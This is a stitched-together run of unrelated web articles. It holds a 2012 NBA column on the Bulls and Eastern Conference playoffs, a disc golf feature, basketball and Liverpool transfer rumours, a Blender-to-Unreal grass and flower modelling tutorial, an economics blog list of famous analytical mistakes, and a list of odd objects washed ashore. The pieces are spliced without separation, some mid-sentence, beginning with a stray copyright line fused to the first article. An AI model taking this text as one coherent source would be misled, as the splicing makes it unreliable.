Copyright 2016 KUSAThey have to be calling it the Leastern Conference now, which if not making for great basketball in the Eastern Conference playoffs certainly has to give everyone hope of making the Finals next season.
What, you can’t beat the 76ers, who have now won four playoff games when they shot below 40 percent (and 40.8 percent in a fifth)? Is that even allowed?
The Celtics are on the verge of being broken up with Kevin Garnett, now a perimeter shooting center, and Ray Allen free agents. The Pacers have emerged, but, quick, someone name an All-Star? Someone who deserves to be, anyway. Nice team. But just nice. OK, Chris Bosh will be back, but the way this playoffs has been going for Miami, we don’t know on which team. How about being stuck with Shane Battier, Mike Miller and Udonis Haslem for $30 million combined over the next two years? I’d say they’d take Carlos Boozer for them.
This, of course, makes it all the more depressing for the Bulls, knowing how close the Finals might have been. And maybe it does give the Knicks real hope with Carmelo Anthony, Tyson Chandler and Amar’e Stoudemire. So it should be a wide, wide open East next season with about everyone but Charlotte in the playoff race.
That should include the Bulls assuming, as expected, they retain Omer Asik. With four front court level starters, the Bulls should be playoff competitive even without Derrick Rose. And if they can add just one decent free agent guard like Kirk Hinrich, Andre Miller, Ray Felton, Goran Dragic, Steve Nash, Jason Kidd or Jonny Flynn, then the Bulls should be competing for a top four spot as well.
But is that good enough and is it worth the effort?
That may be the larger question facing a team like the Bulls. Is it about competing until Rose returns, which will happen perhaps late next season or the season after? Or is it about trying to have the pieces in place or the flexibility to go for a championship when he returns and thereafter?
The Bulls the way the East is breaking down did seem to have a chance this season for a title. But they also seem to have the same issue of the lack of another star player. Luol Deng did make the All-Star team, and Joakim Noah presumably would have a chance. But are they true go to guys you can count on? Oklahoma City in Kevin Durant, Russell Westbrook and James Harden seems to have three. The way ESPN set up a bureau in Miami when their Big Three settled there, we assume the Oklahoma City ESPN bureau will be next.
So then the question becomes, how do you get another star?
The draft is one way. Do you try to trade Deng or Noah to get into a pretty good draft this season? Rarely do teams trade lottery picks for players. But the Pacers and Spurs did last season, George Hill for the rights to Kawhi Leonard. And both teams remain pleased. Of course, a team has to have cap room to absorb the player. And that could take them out of free agency. But if they are a small market team maybe they can’t attract someone. Maybe someone takes a shot. It sets you back next season, but perhaps you pluck someone who can be a star level talent in two years as Rose returns and you go for it again in 2014-15 when you also probably can bring over Nikola Mirotic from Europe.
The question then facing the Bulls is whether this team is done and has gone as far as possible and is time to break it up. Or just work Rose back in next season and you have given up maybe a half season or so? And the way the East is why not take another shot with what you have?
Then there’s Free Agency 2.0.
It didn’t go as planned in 2010, though in getting Boozer, Kyle Korver, Ronnie Brewer and C.J. Watson with coach Tom Thibodeau the Bulls put together a deep enough team to be a serious title contender.
But say the Bulls withdraw next season: They keep Rose out, maybe deal Deng or Noah for a pick and miss the playoffs. So then they get another lottery pick in 2013. They bring those young players back with Rose in 2013-14, and then in the summer of 2014, here are the possible free agents:
LeBron James
Dwyane Wade
Chris Bosh
Paul Pierce
Kobe Bryant
Dirk Nowitzki
Ty Lawson
Rodney Stuckey
Monta Ellis
Danny Granger
Andrew Bogut
Emeka Okafor
Andre Iguodala
Evan Turner
Marcin Gortat
Even if the Bulls don’t trade one of their core players, Deng’s contract expires after the 2013-14 season and with one season left they would be in position to use amnesty on Boozer. That would again put the Bulls far enough below the salary cap to attract two top players. The Bulls thought they had James in 2010. He liked Thibodeau. Miami may not work. He’ll hardly be too old, and he’ll still be a star.
And Rose will be just 26 with three years left on his Bulls deal. Rose then would have less pressure to rehabilitate and given two years to work back would be as close to healthy as he’ll ever be, presumably, if not fully recovered. And who knows what the Bulls can turn that potential 2016 Charlotte pick into by then. It’s just two seasons. Try now or try later? It’s a good question.
Free agents of 2010 coming up short
-- Of course, if you take a look back at the Greatest Free Agent Class ever, it doesn’t look that great two years later:
Carlos Boozer: Out in first round. No longer considered an All-Star;
Amar’e Stoudemire: Out in first round. Injured again and seemingly in decline;
Chris Bosh: Perhaps out in the second round and considered most likely Heat to be traded if the Heat were to lose to the Pacers, though the series now is 2-2.
LeBron James: MVP, but also if out in the second round on verge of becoming the most decorated player in NBA history without a title;
Dwyane Wade: They’re even speculating in Miami with Bosh hurt and the Heat in a tough series with Indiana that if they don’t win he should be traded given he appears to be breaking down;
Dirk Nowitzki: Did win a title last season, but out in first round this season as team starts another rebuilding;
Joe Johnson: Out in the first round after shooting below 40 percent in the playoffs;
Rudy Gay: The Grizzlies paid substantially to keep him out of free agency. But with a first round elimination there’s talk of him being traded as a bad fit with Zach Randolph;
Paul Pierce: Has been a relative value returnee as he’s maintained a consistent game in helping keep the Celtics competitive if not for titles;
Ray Allen: Also returned to Boston and has limped through an injury plagued year this season;
David Lee: Missed the playoffs again with the Warriors;
Josh Childress: Missed the playoffs and out of the regular rotation with the Phoenix Suns;
Luis Scola: Resigned with the Rockets, but they tried to trade him in the preseason Chris Paul deal and the Rockets missed the playoffs this season;
Ray Felton: Signed with the Knicks, who let him go to Denver, which let him go to Portland, who is now letting him go.
There was also the likes of Shaq, Richard Jefferson, J.J. Redick, Travis Outlaw, Al Harrington, Mike Miller, Jermaine O’Neal, John Salmons and Tyrus Thomas. So what were we all excited about?
NBA’s Competition Committee should bring needed change
-- Quietly during the playoffs, the NBA announced a new Competition Committee, the committee that was formerly general managers that considers rules changes. There are some credible new members, like Doc Rivers, Rick Carlisle, Lionel Hollins, Sam Presti and Bryan Colangelo, but also owners Dan Gilbert and Joe Lacob. There’s various speculation about why Commissioner David Stern did this, but it’s going to be an important committee after watching these playoffs.
So many of these games have turned into legalized wrestling matches because the league has allowed defense to get way out of control. You see it all the time—Kevin Durant trying to get free off the ball for a shot at the end of Game 3 and Ron Artest and Andrew Bynum holding him and no call. The freedom of movement that was so trumped a few years ago with changes to allow zone is all but gone. Players run half way across the floor and jump in front of someone and that’s called defense. All the complaining about flopping? It’s the league's fault for allowing all those charging calls when guys aren’t really playing defense. Kevin Garnett’s moving screen? The reason the Celtics were so upset was Garnett sets the same illegal screen every time he sets a screen. Yes, why call it then? I agree. They should have fouled him out three minutes into the game.
The scores are down with scoring just over 90 per game and the shooting is down, but not because players can’t shoot. Officials are allowing defenders to mug cutters, forcing all sorts of isolations. If Stern’s idea to change the committee was to save the game, he’s on the right course. These playoffs should be all the evidence he needs.
Former Bull Boozer was a member of franchise’s first team
-- The Bulls lost an original late Saturday night when Bob Boozer, a member of their inaugural team in 1966-67, died, apparently of a brain aneurysm, back home in Omaha, Nebraska. That team remains the only NBA expansion team ever to make the playoffs, and with three current or future All-Stars in Boozer, Jerry Sloan and Guy Rodgers. “He was a good veteran who knew the ropes and really helped us,” recalled Sloan. “Making the playoffs as an expansion team is quite a feat. He’d post you, shoot his jump shot from the elbow, was great in the lane with good hands and could finish. He wasn’t real huge, but steady and there for you every day, a really good guy.”
Boozer was a bright player who was the star for Tex Winter’s relatively starless Kansas State team. But with the use of the triangle offense, K-State with Boozer was instrumental in beating Wilt at Kansas in Wilt’s last collegiate game and then splitting with Robertson’s Cincinnati power house in consecutive NCAA’s. Boozer went on to be drafted No. 1 by the Royals. But in a terrific show of loyalty, he skipped going pro to play amateur ball in Peoria so he could try out for the 1960 Olympic team. He worked or Caterpillar so he could play for their industrial league team, then considered a high level of basketball with so few NBA teams. That was the root of the AAU, and Boozer led them to the title and he was named MVP in waiting to try out for the Olympic team. That USA team of true amateurs was the first real Dream Team, a powerhouse that won its games by more than an average of 40 with Robertson, Jerry West, Walt Bellamy, Jerry Lucas and other future NBA players like Terry Dischinger, Darrell Imhoff and Adrian Smith. That team was inducted into the Naismith Memorial Basketball Hall of Fame in 2010.
Boozer went to the Royals after that, and Robertson still is bitter the Royals sold Boozer’s contract to the Knicks so they could bring back Larry Staverman. “It just showed how bad our management was,” Robertson said Sunday like it was 40 years ago. “You don’t trade the top guy off your bench, an all-American. “They destroyed the team.” Robertson still burns because that 1963-64 Royals team with Jerry Lucas had beaten Boston regularly that season and was 45-19 when Boozer was sold. The Royals slumped after that and lost to Boston in the conference finals. Robertson always felt that was their best chance to break Boston’s dominance, though Boozer was with Robertson in Milwaukee in 1971 when they won the title with Kareem Abdul-Jabbar. Robertson and Boozer remained close and Robertson said they’d talked only Thursday. “He said his health was fine,” said Robertson. “That’s why it was such a shock. He was a great pro and a great teammate, a great guy.”
Boozer had been that in returning to Omaha after his playing career, working for the telephone company, the state parole board and helping kids at Boy’s Town. After going to New York and to the Lakers, the Bulls selected Boozer in the expansion draft and he went on to become an All-Star with the Bulls and one of the team’s most popular players. He averaged 20.4 points and 8.7 rebounds in three seasons with the Bulls before being traded to Seattle for Bob Kauffman and a 1971 draft pick the Bulls would use for Clifford Ray. But Boozer would get his title and return home and when you’d see him he never had anything but great things to say about the NBA and his career and how proud he was to represent the country.
NBA news and notes
-- You get a pass when you’ve called so many great last second plays, which is why there wasn’t much heat on Doc Rivers for his gaffe in Game 2 against the 76ers. With the Celtics down one and the 76ers with the ball with about 28 seconds, the obvious play was to play it out and have maybe four or five seconds left after a miss. Boston had a timeout and Rivers is great calling those plays. But not being in the penalty yet apparently confused the Celtics’ staff since Doug Collins had to foul twice in Game 1 to get into the penalty late to play the foul game and time eventually ran out. Apparently, considering that, Rivers had a baffled Rajon Rondo foul with 14 seconds left, thus then forcing the Celtics to foul and enabling the 76ers to go up three with the free throws. But Rivers has generally been so good most everyone let it pass. That’s why basketball is the greatest game—you have hundreds of decisions like this every game compared to say, four, in any baseball game. … The greatest test of whether you really are about winning may be for Deron Williams this summer with the Pacers, basically having everything but a star, with enough cap room to make Williams a big offer. And though Roy Hibbert has helped put the Pacers potentially in position to beat Miami at 2-2, he is a restricted free agent and also probably moved himself into the eight figure neighborhood. I’ll admit that’s one of the biggest surprises to me as he is one of the most awkward big men I’ve seen. But look what guys like Nene, Marc Gasol and DeAndre Jordan got last season. It’s good to be tall. George Hill also is a free agent and it could mean luxury tax to keep both. But the Pacers could emerge as a true championship contender with Williams. Hey, Williams went to college in Champaign-Urbana. He can’t be that choosy.
-- When I caught up with Jerry Sloan Sunday to talk about his former Bulls teammate, Bob Boozer, he was back home in southern Illinois doing some work around his home and said he was looking to get back into the NBA for one more coaching gig. “I’d like to get back in, but if it doesn’t happen, it doesn’t happen,” said Sloan. He said he’d talked with four or five teams, but there was nothing solid yet. “There’s a lot of competition for those jobs, and rightfully so,” said Sloan. But like when Hubie Brown came back to revitalize the Memphis Grizzlies, someone is missing a chance to hire a great one who still has a lot of energy and knowledge and is nothing but a winner. … Maybe Luol Deng’s Great Britain team can win a medal. The USA team may be further falling apart with Chris Bosh’s abdominal injury and now who knows what’s wrong with Dwyane Wade. Does Kobe Bryant want to try out those knees for another summer? Dwight Howard is gone after back surgery. The U.S. may have pushed too far with the players from 2008, and this could be a tough summer in London depending on who shows up.
-- Dwyane Wade showed in Sunday’s big Miami win that he’s still talented. But he also may be the league’s dirtiest player. I wonder sometimes if he needs that anger management more than Ron Artest. It seems more than coincidence now with Wade injuring so many players, and always after he didn’t get a call or someone made a play against him. There was Wade last year causing Rajon Rondo’s dislocated elbow after a Rondo steal from him. Wade also ran across the floor with a shoulder block into Paul Pierce in that series. There was Wade breaking Kobe’s nose in the All-Star game, of all places, after Kobe put a move on him that froze him and left Wade looking bad. There was Wade throwing Richard Hamilton into the stands in Miami after Hamilton had made some driving plays against him. There was Wade’s body block from behind against Darren Collison in this series after a steal. Wade seems to have for some reason become something of a menace and a cheap shot player and the NBA needs to begin paying attention to the blind shots before someone really gets hurt.
-- It was curious to see Miami players and coach Erik Spoelstra hide from the media the day after their Game 3 loss in Indianapolis by declining to practice and thus avoid an NBA fine on a technicality. It was just a second round loss to go a game down, which should hardly invite panic and failure to stand up to your professional responsibilities. Plus, the South Florida media following the Heat tends to be, like most local media, very supportive. When the Bulls lost in Miami in March after beating them twice, one of the local ESPN writers actually taunted Joakim Noah in the locker room after the game in asking him now if he felt the Heat was Hollywood, a throwaway comment Noah mentioned a year before. All that was missing was the reporter’s nyaah, nyaah, nyaah. Noah shook his head and walked away. I agree the Heat over the last two years has gotten an inordinate amount of scrutiny, though much has been celebratory with ESPN setting up a virtual local staff in Miami. You’d wish they’d be as professional in tough times as they are when things are going so well. Of course, maybe that is a flaw. … Yes, a coach has to be creative when losing a top player, but Spoelstra’s starting of Dexter Pittman in Game 3 was one of the more bizarre moves in a playoff game. Pittman was out after three horrible minutes, but it pointed to Spoelstra failing to develop a rotation all season with head scratching lineups. Of course, he doesn’t actually have that great a roster after his three main guys. Though players should adjust, it’s a given in basketball that players like to know their roles and teams must settle on a regular rotation. Pittman hadn’t played a minute in the post season. It was akin to the Bulls’ starting Brian Scalabrine. Maybe the Bulls didn’t have that much to worry about after all with Miami stealing Ronny Turiaf from them. … In Miami they are asking if LeBron is now playing with a worse supporting cast than he did in Cleveland. Ouch.
-- Perhaps the greatest thing about Gregg Popovich’s coaching is the way he changed his philosophy to adapt to his team. Long playing through the post with David Robinson and Tim Duncan, Popovich changed the Spurs philosophy about two years ago when it seemed Duncan was in decline to play more through Tony Parker and open the court in a bigger scoring game. They swing the ball side to side as good as any team in years, something the Bulls did well. And it would work for Popovich down the stretch in sweeping the Clippers in Game 4 Sunday. By intentionally fouling the Clippers’ poor shooting big men, Popovich chased the Clippers into a small ball game that the Spurs could take advantage of with their incredible ball movement. Thus the Clippers lose a six-point lead late in the fourth to end up being swept. Advantage: Pop. … While the Lakers and Kobe Bryant were pointing at Pau Gasol for a late turnover in the Game 4 loss to the Thunder and not attacking enough, sharing the blame has to go to coach Mike Brown. The Lakers acquired Ramon Sessions to counter, at least some, Russell Westbrook’s speed and run the team. But Brown again went late with Steve Blake, who is a good shooter but cannot run the offense. As a result, Kobe Bryant ended up having to run the offense, thus leaving Pau standing outside as Andrew Bynum is the post man. So Pau was limited in what he could do and the ball was constantly in Kobe’s hands. So he shot. It wasn’t Pau’s fault. That team needed more coaching. … Ozzie Guillen. Yes, him. He weighed in on the Wade/Spoelstra dustup in Game 3 saying he would have kicked the posterior of any player who did the Wade “Get out of my face expletive” to Spoelstra. So, yes, Ozzie loves Castro but hates Wade?
-- Kevin Garnett has been terrific this season, and again against the 76ers in the second round until nine points and seven turnovers in the 76ers comeback win in Game 4. Garnett gets called dirty and a cheap shot guy a lot, but the real story about Garnett always has been he doesn’t like physical play and contact. It’s why he became so good at that fading jump shot because he was backing away from contact. So the 76ers roughed him up in Game 4. And they’ll continue to do so as much as they can with slow moving Elton Brand and Lavoy Allen. Not your toughest guys. But we’ll see if Garnett will play through it. “All of their big guys are playing physical and bumping,” Garnett said. “You go through side picks and it’s physical. I can’t tell one guy from the next. Spencer Hawes is being just as physical as the young kids. It’s all the same. They’re very aggressive.” The Celtics are 1-3 this postseason when Garnett takes 12 shots or fewer. … The Bulls can complain all they want about their bad luck, but watching the Thunder and Lakers the other night make 67 of 70 free throws should tell the Bulls what they have to practice. Their 74 percent this season was 28th in the league and in the playoffs they shot 64.9 percent, the worst in the league. So don’t blame Omer. He had plenty of company. The games wouldn’t gave come down to one shot or free throw if the Bulls weren’t the league’s worst playoff free throw shooting team. Heck, the Clippers had two guys opposing teams fouled off the ball, and they shot better than the Bulls overall. … I loved that Kobe explanation of why he doesn’t try to take a charge: "I learned from my predecessors. (Scottie) Pippen had a (messed) up back taking charges. (Larry) Bird had a (messed) up back taking charges. I said, 'I'm not taking charges.' I figured that out at an early |
’t cost anything we take care of most of the courses it’s kind of nice to be a part of that,” said Zedlitz.
The sport provides an outlet with friends and some good times.
“We do keep scores, but it’s not really about that it’s about meeting everyone once a week and hanging out,” said Archuleta.
“I mean look at us we are out here in the woods in the middle of town otherwise you probably wouldn’t know this is here to play some disc golf,” said Zedlitz.
For this week’s Adventure Arkansas, I’m Megan Graddy.
For more information about the Fayetteville Disc Golf Association, click here!
Segment Sponsored By: Adventure SubaruAfter seeing action in all five preseason contests for the Cleveland Cavaliers, the skills of guard Jordan McRae have apparently caught the attention of other NBA teams, making him a potential trade target.
Terry Pluto of Cleveland.com wrote that McRae is likely to make to the team but cited that what jersey he dons when the regular season begins may change.
“The Cavs haven’t announced it, but Jordan McRae is going to make the team. Other teams have been asking about McRae in trade. So if they do anything with McRae, it would be a deal,” said Pluto.
Another report indicates that a deal may be done later on to make room for the currently rehabilitating Mario Chalmers. The veteran guard tore his Achilles last March and isn’t quite ready to hit the court.
In the team’s five preseason games thus far, the 25-year-old McRae has averaged 15.4 points, 4.0 assists and 3.6 rebounds per game. He came to Cleveland just after the trade deadline last year with a reputation as a shooter. Given the fact that he’s likely to only see brief periods of action with the Cavs, his ability to put the ball in the basket has served as an enticement for some teams who can put his talents to more extended use.
Prior to being signed by the Cavaliers, McRae was averaging 23.4 points in the D-League. He then sandwiched his time in Cleveland by averaging 24.3 points during the Las Vegas Summer League.
By virtue of his status as a member of last year’s title team, McRae will be the recipient of a championship ring. However, given the trade whispers, his status may change by the time the Oct. 25 opener against the New York Knicks rolls around.
Comments
commentsLiverpool want the Bayern Munich winger Xherdan Shaqiri and Chelsea's Ryan Bertrand for next season's return to the Champions League and are considering a double raid on Southampton, with Dejan Lovren on their list of central defensive targets.
Brendan Rodgers has stated his intention for the summer is to sign quality rather than quantity and Anfield officials have approached their Bayern counterparts over the highly-rated Shaqiri. The 22-year-old rose to prominence with Basel before joining Bayern for €11.6m in 2012. However, despite being a key figure in Ottmar Hitzfeld's Switzerland squad for the World Cup, the winger has not secured a regular starting role in Germany and Liverpool are keen to offer Shaqiri a fresh start in the Premier League.
Liverpool have inquired about a £20m deal for Southampton's captain, Adam Lallana, and could capitalise further on the uncertainty at St Mary's by making an offer for their Croatia defender Lovren. The 24-year-old moved to Southampton from Lyon for £8.5m only last summer but has attracted several clubs after an impressive debut season in English football.
Rodgers' desire to strengthen his defence is no secret, with the Liverpool manager blaming porous defending for his side's failure to win the Premier League title, and a commanding centre-half is a priority. He is also keen to sign a new left-back this summer despite Jon Flanagan's encouraging development in the role last season and Bertrand is top of his preferred wish-list. Chelsea may be reluctant to sell the 24-year-old to Liverpool, however, in which case Rodgers may turn his attentions to Sevilla's £15m-rated full-back Alberto Moreno.
The Liverpool manager is also an admirer of Swansea City striker Wilfried Bony, although Rodgers has other forward options under consideration.Next planned tutorial = Level of detail for the grass
Please watch the video for the full tutorial. (The FBX file should also work in Unity)
Part 2 – LOD’s for the flowers and grass – Click here for article
For this tutorial I will be using Blender and Unreal engine.
Blender –
Open blender, click anywhere to get of introduction window. Go to the scenes tab on the right and set units to metric and the value to 0.01. This is the default of Unreal engine and Unity. Then press N to open settings tab, here for the end clip distance type 1km. So your scene isn’t being clipped anymore. Now delete everything in your scene, A to select or deselect and then delete and enter. Shift+A to add a new mesh>plane. Press 7 on the numpad to go to top view and 5 on numpad to change view. Right click on plane to select. Scale it on the X axis by pressing S then X. Press tab to enter the edit mode, press A to deselect. Select the top 2 vertices, press Alt+ M to merge then choose at center. Press tab to exit edit mode. Move the bottom of the plane up from top view so it’s right in the middle of the scene, then press Shift+ctrl+alt+C and move origin to 3d cursor. Drag this object to the side. Shift + A mesh>plane. Scale on X axis again by press S then X. and move the object up form top view (7 numpad). Then Shift+alt+ctrl+C – origin to 3d cursor. Move it out of the way. Select the first plane, name it grass on the top right by double clicking it. Name the second plane stem. Shift+A Mesh>plane. Tab then W and on the left side choose 2 cuts instead of 1. Choose all the vertices on the side and drag them up a little to make a rough shape of a flower. Then in the tools on the left choose smooth. Select the 4 corners and move slightly down. Then tab out. (Use 1,3,7 on numpad to change view). Make sure the all the vertices are selected using A, make a new window by dragging top right of scene left. Then in the editor mode, at the bottom bar choose UV/image editor. Then back in your other window press U then Unwrap. Make sure you have downloaded the flower images. In the new window at the bottom click open, choose flower and enter. Drag the right top of left window right to close the extra window. Name the plane flower and move it to the side. Shift+A Mesh>plane. Go into particles (sparkly tab on right) Click the + key to add a particle system. Name this Grass. In the emitter type choose hair, set the value to about 50 ( you can choose any of these settings as you like). Select object and find grass in drop down. Tick advanced, mess with settings to randomize length and rotation slightly. Then click the + sign for a new particle system, name it stem. In the emitter type choose hair and set the no. to 3. In object find stem. Randomize the length and rotation, making it slightly taller than grass. Go into the modifier tab and convert both the particles. A to deselect. Select the plane at the bottom and delete. Select the grass and stem, excluding the ones on the side and and the flower. Then press Ctrl+J to join them, and ctrl+shift+all+c then move origin to 3d cursor to make sure that the joined group has its origin in the middle. Delete the extra grass and stem on the side. (keep the flower). Select the group, Go to materials tab and add new. (your flower should have a different material than your group one’s) Press Tab to enter edit mode, Make sure all vertices are selected by pressing A. Go into the keys tab, it looks like a triangle. Here make a new vertex group by using the + key. Click remove just below it. Now deselect all the vertices by pressing A, and select one verts from the top of each stem i.e. 3 stems = select 3 verts anyone from top. Then click assign under vertex group. Press Tab to exit edit mode. Go the particles tab, press + to add new. Name this flower. Change type to hair, number to 3. In object select flower, In vertex groups choose group. Tick advanced and choose verts. Tick rotation, open it and choose normal. Then back to modifier tab and convert. Go back to particle tab and use the minus key to delete the particles. You can adjust each flower by using R to rotate as desired. Once done select the 3 flowers except the one on the side. And Ctrl J to make a group. Then give it a material and name it flower. Now save your project as whatever you desire. If you want to change the flower just edit the flower on the side, through uv/image editor. And all will be edited. Now delete the extra flowers on the side. Select everything with A and press ctrl+J, and shift+alt+ctrl+c and move origin to 3d cursor. File>export.FBX
Unreal engine
Import.FBX file and the flower texture. Right click on flower then create material. Open material, plug the alpha node of flower into opacity mask, change the blend mode to masked. Save and close. Make a new material, press 3 and left click, choose a color for the grass. Open the FBX mesh, use highlight to know which one is grass and which on is flower. Drag and drop the appropriate materials to the appropriate tab and you are done
(To change the flower or the size you can always use your backed up save file from blender).Bob T., a loyal MR reader, asks the following:
10 (or more) most famous mistakes in economics.
Viner on costs and Feldstein on Social Security come to mind. Malthus? Not
talking about old vs. new economics, but simple analytical errors and bad
predictions.
That’s a good start. What else might be listed? Just to circumvent various hobby horses in the comments section, let’s avoid Marx and Marxists, Keynes, and the last twenty years.
1. Kenneth Arrow confusing risk subdivision and risk multiplication, in arguing that government should use a riskless rate of discount.
2. The Cambridge, Mass. economists having to admit, finally, that capital reswitching could be quite a general phenomenon (though is it, really?)
3. Ricardo’s prediction that most of national output would end up going to the landlords.
4. Paul Samuelson praising the economic performance of Soviet central planning in his Principles text.
5. 93 percent of all proclamations made about the demand for money in macroeconomics.
6. The more exaggerated claims about the Laffer Curve.
7. Various claims that the Fed should have let the money supply fall during the Great Depression.
8. Jevons’s claim that England (or was it the world?) would soon run out of coal.
9. Welfare analysis done in overlapping generations models (the standard welfare theorems do not generally hold in such models).
And dare I offer up a controversial pick:?
10. Those who think that the difference between "capital" and "ideas" in a Solow growth model is actually well-defined.
What else can you think of?Around ninety percent of the world’s population lives in the Northern Hemisphere, which means that most of us are currently preparing for hot summer weather and likely planning to spend some time cooling off beside the nearest body of water. So next time you’re heading to the beach, keep your eyes open for curious-looking flotsam and jetsam—as you’ll see in this list, you never know what might wash ashore:
10 Sports Flyswatters
Thousands of accidental container spills occur in the Pacific Ocean every year, as loads and loads of commercial goods make their way from Asia to the West. While this lost cargo is seriously adding to the ocean’s pollution problem, there is one silver lining: it could make you the owner of a free, slightly beat-up fly swatter.
In 2012, residents of Kodiak, Alaska, became exactly that when they eagerly gathered up sports-themed fly swatters that were washing up by the dozens onto their beach. Both professional and collegiate teams were represented—ensuring that every kind of sports fan could plaster his or her favorite team with fly guts.
At first, the Alaskans thought that the swatters were debris from the previous year’s tsunami—but it later turned out that they came from a run-of-the-mill cargo ship, which had lost several containers after a rogue wave hit the vessel.
9 Rubber Ducks
Of all the things to fall off a cargo ship, arguably the cutest was a crate of 28,000 rubber ducks and other bath toys. They went overboard in 1992, and beachcombers all over the world are still coming across the rubber ducks today—more than twenty years later.
Many of the toys have floated ashore, but there are still thousands of them bobbling through the high seas, following the ocean’s many currents and gyres. Although most people would prefer that 28,000 pollutants hadn’t entered the ocean, the toys have had a positive side effect in that they’ve revolutionized our understanding of ocean currents. The ducks were abandoned in the middle of the Pacific Ocean while on a voyage from Hong Kong to the United States, and they’ve since shown up in far off places like South America, Australia, Hawaii, Alaska, Scotland, Newfoundland, and the Atlantic. Some are even frozen in Arctic ice.
Most notably, tracking the duck’s movements enabled oceanographers to better understand the circuit of the North Pacific Gyre, and brought attention to the “ocean garbage patch” that lies within. It’s estimated that more than two thousand ducks are drifting amid the massive amount of trash and sludge that has been caught in the gyre’s currents.
8 Giant Lego Man
You never know what kind of flotsam you’ll discover while taking a stroll down the shore—yet even for the most experienced beachcomber, stumbling across an eight-foot-tall, one-hundred-pound Lego man is entirely unexpected. Nevertheless, versions of Ego Leonard (the Lego figure seen above) have apparently washed ashore on at least four beaches throughout the world.
The first Ego Leonard sighting was in 2007, when the colorful sculpture was retrieved from a sea near the Netherlands. The following year he was found on Brighton Beach, U.K.; in 2011 he showed up at Siesta Key Beach, Florida; and in 2012 he appeared on a beach in Los Angeles, California. Ego Leonard always has the message “No Real Than You Are” printed on his torso—adding a somewhat eerie and grammatically dubious element to an otherwise delightful fellow.
7 Giant Eyeball
As if sharks and jellyfish weren’t bad enough, we now have yet another reason to get the heebie-jeebies when stepping into the ocean: enormous floating eyeballs.
In 2012, a softball-sized eyeball floated onto the sand in Fort Lauderdale, Florida. It was discovered by a man who kicked it about a few times before taking it home and putting it in his refrigerator. Luckily, he didn’t intend on having the peeper for lunch, and was simply trying to keep it fresh until someone from the Florida Fish and Wildlife Conservation Commission (FWC) could retrieve and identify it.
Naturally, rumors of colossal sea monsters started spreading throughout the area. Wildlife authorities quickly spoiled the fun by identifying the oversized oculus as belonging to a large swordfish (a species that can reach fourteen hundred pounds). Sohow did the eye end up on the beach? The FWC said that although it was certainly rare to find a fully intact eyeball separate from any other body parts, this one had clear, straight-line cuts around the tissue—which means that some creepy fisherman painstakingly cut out the baby blue and then tossed it overboard.
6 Bananas
In 2007, residents of two Dutch North Sea islands must have thought they were blessed by the fruit gods when thousands of unripe bananas swept onto their shores. In reality, they came from yet another container that had fallen off a cargo ship during a storm. Crowds of banana-seekers showed up to gather the fruit, undoubtedly with visions of smoothie and bread recipes in their head. In fact, there were so many bananas littering the coastline that some suggested that they donate them to a nearby zoo.
For long-time locals of these islands, collecting strange things from the sand is nothing new. Favorable currents, strong north-westerly winds and nearby shipping routes make the islands a target for about two tons of debris per day. In years past, they’ve seen their beaches covered with aluminum briefcases, children’s toys, sweaters, and sneakers.
5 Dead Birds
“Botulism poisoning” is the official cause of six thousand birds turning up dead on Wasaga Beach, Ontario, in 2011. Botulism has been on the rise in the Great Lakes; it infects fish, and is then passed onto waterfowl when they ingest the prey.
While it’s not uncommon to find individual fish and birds who were killed by toxins, the 2011 incident was especially unusual. What’s causing the increase in botulism? Scientists say that it’s a combination of gradually warming waters, increasingly oxygen-deprived conditions, and higher levels of bacteria. One theory is that invasive species, like zebra and quagga mussels, are exacerbating the problem.
Despite all the talk of toxins, authorities say that it’s still safe to swim and eat fish from the Great Lakes. Their advice is to restrict your consumption to fish that “act and look healthy”; to avoid cutting the guts when cleaning a fish; to cook it thoroughly; and to watch your dog for illness if he happens to consume a random fish lying in the sand. None of that advice sounds particularly reassuring.
4 Nike Sneakers
If you’re walking along the shore and happen to find a Nike sneaker with the code 90 04 06, then you may have discovered one of the famed (at least for oceanographers) sixty thousand Nikes that fell from a storm-tossed ship in 1990.
Just as they were plunged into excitement by the rubber duckies, scientists have tracked these shoes for decades in an effort to learn more about the ocean’s currents. The sneakers could float for ten years—and surprisingly, they were still wearable after three years, which turned several seashores into impromptu swap-meets as people scrambled to find matching pairs of shoes.
Even more shoes have been spilled since 1990, so if you ever find yourself strapped for cash and needing a new pair of kicks, try your luck at the beach.
3 Severed Feet
On second thought, you might want to think twice before picking up an abandoned shoe in the sand, as there’s a fair chance it could contain a human foot. This is especially true if you live in British Columbia or the Pacific Northwest of the United States.
Since 2007, beach goers have found at least ten shoe-clad feet in these areas—and five of them were tracked back to four apparently-deceased individuals. The identified feet are said to belong to several missing persons, a person who committed suicide, and someone who died of natural causes. Currently, no one knows to whom the other feet belong.
So where exactly are all the other appendages coming from? Authorities don’t know for sure—but they don’t expect that it’s a case of foul play. One theory has it that they are remains of those who were swept away in the Asian Tsunami of 2004. But not all the shoes discovered were from 2004 or earlier, and all the feet identified so far belonged to local people. Still, some of the shoes found were only sold in Asia—so it appears the feet are originating from more than one location.
2 Doritos
We imagine that everyone who was in the Outer Banks of North Carolina on November 30, 2006, had the same catch of the day: Doritos. Due once again to an overturned cargo container, thousands of packages of chips littered more than a half mile of otherwise pristine beach.
This resulted in a chip free-for-all, where both humans and seagulls scavenged to get their fill of cheesy goodness. The birds gorged on the open bags, while people scrambled to gather the intact packs which, thanks to their airtight seal, were still fresh.
Some residents were a little peeved that folks seemed more concerned with getting free junk food than with cleaning up the federally-protected beach—but whether motivated by greed or public service, the chips were eventually cleared from the sand. Mission accomplished.
1 Montauk Monster
No list of weird things to wash ashore is complete without a mention of the Montauk Monster. This water-logged beast made its debut in 2008 on a beach in New York, and has remained the subject of controversy ever since.
Authorities could only view the creature via photographs, yet the pictures alone were enough for the East Hampton Natural Resources department and multiple zoologists to quickly peg the thing as a dead, bloated, and decomposing raccoon. While some have claimed that the Montauk Monster’s legs were too long to be those of a raccoon, zoologists have debunked that notion by explaining that raccoons are surprisingly leggy, and that their limb proportions actually match those of the “monster.” Also, what many have called a beak is actually a de-fleshed snout and exposed premaxillary bones. Furthermore, composite pictures of a raccoon body and the Montauk Monster show a perfect match.
Despite what the experts say, however, there are two major facts which continue to fuel speculation. For one, no one knows what happened to the carcass after it washed up, and only a few people have seen it in person. Apparently, someone carted it off to let it rot in their backyard—but no one’s saying who or where. Secondly, the federally owned Plum Island Animal Disease Center—which has its own fair share of conspiracy theories—is located in the vicinity of the beach where the strange animal was found. All of this makes great fodder for stories of a bizarre animal hybrid escaping Plum Island, and the government whisking away the carcass before it could be studied, bringing their dubious experiments to light.
